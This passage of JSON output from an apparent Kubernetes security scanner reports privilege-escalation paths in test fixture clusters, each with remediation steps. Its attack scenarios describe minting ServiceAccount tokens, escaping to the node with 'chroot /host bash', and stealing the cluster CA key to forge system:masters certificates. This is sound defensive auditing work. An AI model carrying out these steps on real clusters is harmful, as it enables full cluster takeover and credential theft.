    "description": "Subject `ServiceAccount/cloud-eks-test/eks-token-minter` can chain into the ability to impersonate the `system:masters` group. `system:masters` is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants `system:masters` reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with `O=system:masters` skips authorization entirely).\n\nThe chain (3 hop(s); each step is an RBAC verb the engine validated):\n  1. `ServiceAccount/cloud-eks-test/eks-token-minter` → `ServiceAccount/cloud-eks-test/eks-admin-irsa` via `token_request` (create serviceaccounts/token): can mint tokens for ServiceAccount cloud-eks-test/eks-admin-irsa\n  2. `ServiceAccount/cloud-eks-test/eks-admin-irsa` → `User/arn:aws:iam::123456789012:role/AdministratorAccess` via `irsa_assume_role` (arn:aws:iam::123456789012:role/AdministratorAccess): ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA\n  3. `User/arn:aws:iam::123456789012:role/AdministratorAccess` → `/` via `aws_auth_admin` (system:masters via aws-auth): external IAM principal arn:aws:iam::123456789012:role/AdministratorAccess is mapped to system:masters via aws-auth\n\nImpersonation of `system:masters` is the rarest but most severe finding type. Most clusters do not give workload SAs `impersonate users/groups` because `system:masters` is the pathological consequence: a single `impersonate` grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "eks-token-minter",
      "namespace": "cloud-eks-test"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/cloud-eks-test/eks-token-minter` → `system:masters`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Impersonating `system:masters` bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the `impersonate` audit annotation.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/cloud-eks-test/eks-token-minter`.",
      "Acting as `ServiceAccount/cloud-eks-test/eks-token-minter`, the attacker calls the `serviceaccounts/token` subresource (`create serviceaccounts/token`) to mint a fresh, valid token for `ServiceAccount/cloud-eks-test/eks-admin-irsa`. No pod creation required, and a thinner audit trail than the pod-mount route.",
      "Acting as `ServiceAccount/cloud-eks-test/eks-admin-irsa`, the attacker uses the `irsa_assume_role` technique to reach `User/arn:aws:iam::123456789012:role/AdministratorAccess` via `arn:aws:iam::123456789012:role/AdministratorAccess`, which gains ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA.",
      "Acting as `User/arn:aws:iam::123456789012:role/AdministratorAccess`, the attacker uses the `aws_auth_admin` technique via `system:masters via aws-auth`, which gains external IAM principal arn:aws:iam::123456789012:role/AdministratorAccess is mapped to system:masters via aws-auth.",
      "Final step: attacker can impersonate group `system:masters`. The kube-apiserver short-circuits authorization for `system:masters` via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator."
    ],
    "evidence": {
      "chain_summary": [
        "1. token_request [create serviceaccounts/token]",
        "2. irsa_assume_role [arn:aws:iam::123456789012:role/AdministratorAccess]",
        "3. aws_auth_admin [system:masters via aws-auth]"
      ],
      "first_action": "token_request",
      "hop_count": 3,
      "target": "system_masters",
      "target_namespace": "",
      "techniques": [
        "token_request",
        "irsa_assume_role",
        "aws_auth_admin"
      ]
    },
    "remediation": "Remove every `impersonate` grant on a path to `system:masters`. Concretely: remove the permission `create serviceaccounts/token` that enables the first hop (`ServiceAccount/cloud-eks-test/eks-token-minter` → `ServiceAccount/cloud-eks-test/eks-admin-irsa`).",
    "remediation_steps": [
      "List subjects with impersonate: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"User\" or .kind == \"Group\" or .kind == \"ServiceAccount\") | .metadata.name + \" → \" + (.roleRef.name)'` then check each role's rules for `impersonate`.",
      "Almost no production workload genuinely needs `impersonate users/groups`. Kubectl plugins/dashboards that *do* need it should use `kubectl --as=...` from a human admin's session, not a workload SA.",
      "Break the chain: remove the permission `create serviceaccounts/token` that enables the first hop (`ServiceAccount/cloud-eks-test/eks-token-minter` → `ServiceAccount/cloud-eks-test/eks-admin-irsa`).",
      "For kubectl-as-a-service workloads, scope the impersonation with `resourceNames: [\u003callowed-user\u003e]` to a fixed allowlist of principals; *never* `users: [*]` or `groups: [*]`.",
      "Wire admission policy: a Kyverno rule that fails any RoleBinding granting `impersonate` to a non-system subject without an explicit `resourceNames` carve-out."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "token_request",
        "technique": "KUBE-PRIVESC-014",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "eks-token-minter",
          "namespace": "cloud-eks-test"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "eks-admin-irsa",
          "namespace": "cloud-eks-test"
        },
        "permission": "create serviceaccounts/token",
        "gains": "can mint tokens for ServiceAccount cloud-eks-test/eks-admin-irsa",
        "source_binding": "eks-token-minter",
        "source_role": "eks-token-minter",
        "binding_namespace": "cloud-eks-test"
      },
      {
        "step": 2,
        "action": "irsa_assume_role",
        "technique": "KUBE-CLOUD-IRSA",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "eks-admin-irsa",
          "namespace": "cloud-eks-test"
        },
        "to_subject": {
          "kind": "User",
          "name": "arn:aws:iam::123456789012:role/AdministratorAccess"
        },
        "permission": "arn:aws:iam::123456789012:role/AdministratorAccess",
        "gains": "ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA"
      },
      {
        "step": 3,
        "action": "aws_auth_admin",
        "technique": "KUBE-CLOUD-AWSAUTH",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "User",
          "name": "arn:aws:iam::123456789012:role/AdministratorAccess"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "system:masters via aws-auth",
        "gains": "external IAM principal arn:aws:iam::123456789012:role/AdministratorAccess is mapped to system:masters via aws-auth"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:system_masters"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NODE-ESCAPE:ServiceAccount/foothold-ops/foothold-execer:node_escape",
    "rule_id": "KUBE-PRIVESC-PATH-NODE-ESCAPE",
    "severity": "CRITICAL",
    "score": 8.6,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/foothold-ops/foothold-execer` can reach **node escape** (host root) in 2 hop(s)",
    "description": "Subject `ServiceAccount/foothold-ops/foothold-execer` has a privesc path that terminates in the ability to schedule a pod with host-level access (`hostPath: /`, `privileged: true`, `hostPID`, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.\n\nThe chain (2 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):\n  1. `ServiceAccount/foothold-ops/foothold-execer` → `ServiceAccount/foothold-fixtures/foothold-priv` via `pod_exec` (create pods/exec|pods/attach): can exec into pods running as ServiceAccount foothold-fixtures/foothold-priv\n  2. `ServiceAccount/foothold-fixtures/foothold-priv` → `/` via `pod_host_escape` (privileged): runs in pod foothold-fixtures/foothold-priv-app-568f779db7-7psgh with privileged\n\nNode escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's `cni0/flannel.1/cali*` interface, and exfiltrate every projected ServiceAccount token by reading `/var/lib/kubelet/pods/*/volumes/.../token`. From there, those tokens cascade into more cluster-admin paths.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "foothold-execer",
      "namespace": "foothold-ops"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/foothold-ops/foothold-execer` → `node escape`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/foothold-ops/foothold-execer` yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/foothold-ops/foothold-execer`.",
      "Acting as `ServiceAccount/foothold-ops/foothold-execer`, the attacker uses `pods/exec` (`create pods/exec|pods/attach`) to open a shell inside `ServiceAccount/foothold-fixtures/foothold-priv` and inherit whatever ServiceAccount or host privileges that container holds.",
      "Acting as `ServiceAccount/foothold-fixtures/foothold-priv`, the attacker schedules a pod with host-level access (`privileged: true`, `hostPath: /`, `hostPID`, or `hostNetwork`) and escapes onto the underlying node. From there they read every co-located pod's filesystem, every projected ServiceAccount token on that node, and the kubelet's client cert.",
      "Final step: a privileged pod with `hostPath: /` (or `hostPID + privileged: true`) is created. The attacker `chroot /host bash` and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_exec [create pods/exec|pods/attach]",
        "2. pod_host_escape [privileged]"
      ],
      "first_action": "pod_exec",
      "hop_count": 2,
      "target": "node_escape",
      "target_namespace": "",
      "techniques": [
        "pod_exec",
        "pod_host_escape"
      ]
    },
    "remediation": "Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission `create pods/exec|pods/attach` that enables the first hop (`ServiceAccount/foothold-ops/foothold-execer` → `ServiceAccount/foothold-fixtures/foothold-priv`).",
    "remediation_steps": [
      "Identify which hop ends in `pod_create_*` or grants Pod Security violations (`privileged`, `hostPath`, `hostPID`, `hostNetwork`).",
      "Apply Pod Security Admission `restricted` profile to namespaces reachable from this chain: `kubectl label namespace \u003cns\u003e pod-security.kubernetes.io/enforce=restricted`. This blocks privileged pods at admission.",
      "Audit any namespace that is `privileged`-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.",
      "Remove the cited capability: remove the permission `create pods/exec|pods/attach` that enables the first hop (`ServiceAccount/foothold-ops/foothold-execer` → `ServiceAccount/foothold-fixtures/foothold-priv`).",
      "Wire admission policy (Kyverno `restrict-host-path-mount`, `disallow-privileged-containers`) so future pods cannot regress."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_exec",
        "technique": "KUBE-PRIVESC-004",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-execer",
          "namespace": "foothold-ops"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-priv",
          "namespace": "foothold-fixtures"
        },
        "permission": "create pods/exec|pods/attach",
        "gains": "can exec into pods running as ServiceAccount foothold-fixtures/foothold-priv",
        "source_binding": "foothold-execer",
        "source_role": "foothold-execer",
        "binding_namespace": "foothold-fixtures"
      },
      {
        "step": 2,
        "action": "pod_host_escape",
        "technique": "KUBE-ESCAPE",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-priv",
          "namespace": "foothold-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "privileged",
        "gains": "runs in pod foothold-fixtures/foothold-priv-app-568f779db7-7psgh with privileged"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.1",
        "title": "Minimize the admission of privileged containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_escape"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS:ServiceAccount/foothold-ops/foothold-execer:system_masters",
    "rule_id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS",
    "severity": "CRITICAL",
    "score": 8.399999999999999,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/foothold-ops/foothold-execer` can impersonate **`system:masters`** in 3 hop(s), bypassing all RBAC",
    "description": "Subject `ServiceAccount/foothold-ops/foothold-execer` can chain into the ability to impersonate the `system:masters` group. `system:masters` is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants `system:masters` reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with `O=system:masters` skips authorization entirely).\n\nThe chain (3 hop(s); each step is an RBAC verb the engine validated):\n  1. `ServiceAccount/foothold-ops/foothold-execer` → `ServiceAccount/foothold-fixtures/foothold-priv` via `pod_exec` (create pods/exec|pods/attach): can exec into pods running as ServiceAccount foothold-fixtures/foothold-priv\n  2. `ServiceAccount/foothold-fixtures/foothold-priv` → `/` via `pod_host_escape` (privileged): runs in pod foothold-fixtures/foothold-priv-app-568f779db7-7psgh with privileged\n  3. `ServiceAccount/foothold-fixtures/foothold-priv` → `/` via `control_plane_pki_theft` (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline\n\nImpersonation of `system:masters` is the rarest but most severe finding type. Most clusters do not give workload SAs `impersonate users/groups` because `system:masters` is the pathological consequence: a single `impersonate` grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "foothold-execer",
      "namespace": "foothold-ops"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/foothold-ops/foothold-execer` → `system:masters`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Impersonating `system:masters` bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the `impersonate` audit annotation.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/foothold-ops/foothold-execer`.",
      "Acting as `ServiceAccount/foothold-ops/foothold-execer`, the attacker uses `pods/exec` (`create pods/exec|pods/attach`) to open a shell inside `ServiceAccount/foothold-fixtures/foothold-priv` and inherit whatever ServiceAccount or host privileges that container holds.",
      "Acting as `ServiceAccount/foothold-fixtures/foothold-priv`, the attacker schedules a pod with host-level access (`privileged: true`, `hostPath: /`, `hostPID`, or `hostNetwork`) and escapes onto the underlying node. From there they read every co-located pod's filesystem, every projected ServiceAccount token on that node, and the kubelet's client cert.",
      "Acting as `ServiceAccount/foothold-fixtures/foothold-priv`, the attacker uses the `control_plane_pki_theft` technique via `root on a schedulable control-plane node`, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.",
      "Final step: attacker can impersonate group `system:masters`. The kube-apiserver short-circuits authorization for `system:masters` via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_exec [create pods/exec|pods/attach]",
        "2. pod_host_escape [privileged]",
        "3. control_plane_pki_theft [root on a schedulable control-plane node]"
      ],
      "first_action": "pod_exec",
      "hop_count": 3,
      "target": "system_masters",
      "target_namespace": "",
      "techniques": [
        "pod_exec",
        "pod_host_escape",
        "control_plane_pki_theft"
      ]
    },
    "remediation": "Remove every `impersonate` grant on a path to `system:masters`. Concretely: remove the permission `create pods/exec|pods/attach` that enables the first hop (`ServiceAccount/foothold-ops/foothold-execer` → `ServiceAccount/foothold-fixtures/foothold-priv`).",
    "remediation_steps": [
      "List subjects with impersonate: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"User\" or .kind == \"Group\" or .kind == \"ServiceAccount\") | .metadata.name + \" → \" + (.roleRef.name)'` then check each role's rules for `impersonate`.",
      "Almost no production workload genuinely needs `impersonate users/groups`. Kubectl plugins/dashboards that *do* need it should use `kubectl --as=...` from a human admin's session, not a workload SA.",
      "Break the chain: remove the permission `create pods/exec|pods/attach` that enables the first hop (`ServiceAccount/foothold-ops/foothold-execer` → `ServiceAccount/foothold-fixtures/foothold-priv`).",
      "For kubectl-as-a-service workloads, scope the impersonation with `resourceNames: [\u003callowed-user\u003e]` to a fixed allowlist of principals; *never* `users: [*]` or `groups: [*]`.",
      "Wire admission policy: a Kyverno rule that fails any RoleBinding granting `impersonate` to a non-system subject without an explicit `resourceNames` carve-out."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_exec",
        "technique": "KUBE-PRIVESC-004",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-execer",
          "namespace": "foothold-ops"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-priv",
          "namespace": "foothold-fixtures"
        },
        "permission": "create pods/exec|pods/attach",
        "gains": "can exec into pods running as ServiceAccount foothold-fixtures/foothold-priv",
        "source_binding": "foothold-execer",
        "source_role": "foothold-execer",
        "binding_namespace": "foothold-fixtures"
      },
      {
        "step": 2,
        "action": "pod_host_escape",
        "technique": "KUBE-ESCAPE",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-priv",
          "namespace": "foothold-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "privileged",
        "gains": "runs in pod foothold-fixtures/foothold-priv-app-568f779db7-7psgh with privileged"
      },
      {
        "step": 3,
        "action": "control_plane_pki_theft",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-priv",
          "namespace": "foothold-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "root on a schedulable control-plane node",
        "gains": "can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:system_masters"
    ]
  },
  {
    "id": "KUBE-PRIVESC-001:ServiceAccount/rbac-fixtures/sa-pod-create::pods",
    "rule_id": "KUBE-PRIVESC-001",
    "severity": "HIGH",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Cluster-wide pod creation enables token theft and node takeover (`ServiceAccount/rbac-fixtures/sa-pod-create`)",
    "description": "Subject ServiceAccount/rbac-fixtures/sa-pod-create can `create` pods via ClusterRoleBinding `crb-pod-create` → ClusterRole `cr-pod-create`. Cluster-wide: applies to every current and future namespace.\n\nUnder Kubernetes' RBAC model, pod creation is one of the most powerful permissions because the API server does not police the privileges of the pod being created, only the create verb itself. A pod is a request to run code as a ServiceAccount; by choosing `spec.serviceAccountName` the attacker borrows the identity (and RBAC permissions) of any ServiceAccount in the target namespace, with the token mounted automatically at `/var/run/secrets/kubernetes.io/serviceaccount/token`.\n\nBeyond identity hopping, a created pod can request `hostPath`, `hostNetwork`, `hostPID`, `privileged: true`, or `SYS_ADMIN`. None of those are blocked by RBAC; only Pod Security Admission or a policy engine (Kyverno, Gatekeeper, ValidatingAdmissionPolicy) can stop them. A typical attack mounts / from the host and reads `/etc/kubernetes/pki/admin.conf` directly.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-pod-create",
      "namespace": "rbac-fixtures"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cr-pod-create",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: applies to every current and future namespace"
    },
    "impact": "Run arbitrary code as any ServiceAccount in Cluster-wide (including privileged ones); optionally request privileged/host-mount pods to escape to the underlying node.",
    "attack_scenario": [
      "Attacker enumerates target namespaces with `kubectl get sa -A` to find privileged ServiceAccounts (e.g. `kube-system/clusterrole-aggregation-controller`).",
      "They craft a pod manifest with `spec.serviceAccountName: \u003cprivileged-sa\u003e` and any container image they control.",
      "They `kubectl apply -f` the pod; the kubelet mounts the privileged ServiceAccount's JWT into the container at the well-known path.",
      "They `exec` into the pod (or have the container phone home), read the token, and replay it against the API server.",
      "Optionally, they instead create a pod with `hostPID: true` + `privileged: true` + `hostPath` of `/` and break out to the node."
    ],
    "evidence": {
      "api_groups": [
        ""
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "pods"
      ],
      "scope": "cluster",
      "source_binding": "crb-pod-create",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cr-pod-create",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "create"
      ]
    },
    "remediation": "Remove direct pod-create rights from non-platform identities; have CI/CD or controllers create workload objects (Deployments) so the controller-manager creates the pod under its own ServiceAccount.",
    "remediation_steps": [
      "Replace direct `create` on `pods` with `create/update` on `deployments` (or the appropriate workload controller).",
      "Enforce `restricted` Pod Security Standard via `pod-security.kubernetes.io/enforce=restricted` namespace label so privileged/hostPath pods are rejected at admission.",
      "Add a Kyverno/Gatekeeper policy that requires `automountServiceAccountToken: false` on user-created pods, or pins them to a non-privileged ServiceAccount.",
      "Verify with `kubectl auth can-i create pods --as=sa-pod-create -A` returning `no`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#workload-creation",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://kubernetes.io/docs/concepts/security/pod-security-admission/",
      "https://bishopfox.com/blog/kubernetes-pod-privilege-escalation",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC Good Practices: Workload creation",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#workload-creation"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Kubernetes — Pod Security Admission",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-admission/"
      },
      {
        "title": "Bishop Fox — Bad Pods: Pod Privilege Escalation",
        "url": "https://bishopfox.com/blog/kubernetes-pod-privilege-escalation"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1610",
        "name": "Deploy Container",
        "url": "https://attack.mitre.org/techniques/T1610/"
      },
      {
        "id": "T1552.007",
        "name": "Unsecured Credentials: Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.4",
        "title": "Minimize access to create pods",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-001:ServiceAccount/vulnerable/privileged-reader::pods",
    "rule_id": "KUBE-PRIVESC-001",
    "severity": "HIGH",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Cluster-wide pod creation enables token theft and node takeover (`ServiceAccount/vulnerable/privileged-reader`)",
